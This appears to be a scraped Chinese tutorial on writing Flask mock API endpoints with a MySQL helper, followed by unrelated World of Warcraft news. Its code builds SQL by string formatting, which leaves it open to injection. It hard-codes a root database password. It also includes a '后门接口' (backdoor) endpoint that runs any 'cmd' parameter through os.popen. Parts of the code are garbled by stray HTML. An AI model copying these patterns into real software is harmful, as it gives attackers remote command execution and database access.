本文实例为大家分享了python学习开发mock接口的具体步骤,供大家参考,具体内容如下
#1.测试为什么要开发接口?
1)在别的接口没有开发好的时候, mock接口(模拟接口)
2)查看数据, 避免直接操作数据库
#2.开发接口的顺序
1)安装flask
flask是一个轻量级开发框架
pip install flask
2)开发一个接口
开发步骤:
1.实例化一个服务server:flask.Flask(__name__)
2.函数前加装饰器@server.route(), 将函数变为一个接口
3.启动服务server:server.run()
import flask,json,pymysql server=flask.Flask(__name__)#__name__代表当前python文件, 把当前python文件当成一个服务 def opt_db(sql): coon=pymysql.connect( host='192.168.109.132', user='root', passwd='123456', db='besttest', port=3306, charset='utf8' )#建立db链接 cur=coon.cursor()#建立游标 cur.execute(sql);#执行sql if sql.strip()[:6].upper()=='SELECT': res=cur.fetchall()#获取sql返回 else: coon.commit() res='ok' cur.close()#关闭游标 coon.close()#关闭db链接 return res #get请求, 请求路径ip:port/index @server.route('/index',methods=['get'])#装饰器,代表index函数是一个接口,支持get请求(默认get请求) def index(): res={'msg':'这是我开发的第一个接口','msg_code':'0'} return json.dumps(res,ensure_ascii=False,indent=4) #post请求, 请求路径ip:port/reg @server.route('/reg',methods=['post'])#装饰器,代表reg函数是一个接口,支持post请求(可以同时支持get、post请求) def reg(): username=flask.request.values.get('username')#获取接口入参 pwd=flask.request.values.get('passwd') if username and pwd: sql='select * from syz_stu where username="%s";'%username if opt_db(sql): res={'msg':'用户已存在','msg_code':2001}#2001用户已存在 else: insert_sql='insert into syz_stu (username,passwd) VALUES ("%s","%s");'%(username,pwd) opt_db(insert_sql) res={'msg':'注册成功','msg_code':'0'} else: res={'msg':'必填字段未填, 请查看接口文档','msg_code':1001}#1001必填字段未填 return json.dumps(res,ensure_ascii=False,indent=4)
#后门接口 @server.route('/error',methods=['post'])#路由,访问地址为----IP:端口/error def cmd(): cmd = flask.request.values.get('cmd')#接口的入参 res = os.popen(cmd)#执行用户命令 return res.read()#返回执行结果 #http://127.0.0.1:8999/error"color: #800000">http://localhost:6688/index,将看到返回{'msg': '这是我开发的第一个接口', 'msg_code': 0}
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持。
python,mock,接口
免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件! 如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
《魔兽世界》大逃杀!60人新游玩模式《强袭风暴》3月21日上线
暴雪近日发布了《魔兽世界》10.2.6 更新内容,新游玩模式《强袭风暴》即将于3月21 日在亚服上线,届时玩家将前往阿拉希高地展开一场 60 人大逃杀对战。
艾泽拉斯的冒险者已经征服了艾泽拉斯的大地及遥远的彼岸。他们在对抗世界上最致命的敌人时展现出过人的手腕,并且成功阻止终结宇宙等级的威胁。当他们在为即将于《魔兽世界》资料片《地心之战》中来袭的萨拉塔斯势力做战斗准备时,他们还需要在熟悉的阿拉希高地面对一个全新的敌人──那就是彼此。在《巨龙崛起》10.2.6 更新的《强袭风暴》中,玩家将会进入一个全新的海盗主题大逃杀式限时活动,其中包含极高的风险和史诗级的奖励。
《强袭风暴》不是普通的战场,作为一个独立于主游戏之外的活动,玩家可以用大逃杀的风格来体验《魔兽世界》,不分职业、不分装备(除了你在赛局中捡到的),光是技巧和战略的强弱之分就能决定出谁才是能坚持到最后的赢家。本次活动将会开放单人和双人模式,玩家在加入海盗主题的预赛大厅区域前,可以从强袭风暴角色画面新增好友。游玩游戏将可以累计名望轨迹,《巨龙崛起》和《魔兽世界:巫妖王之怒 经典版》的玩家都可以获得奖励。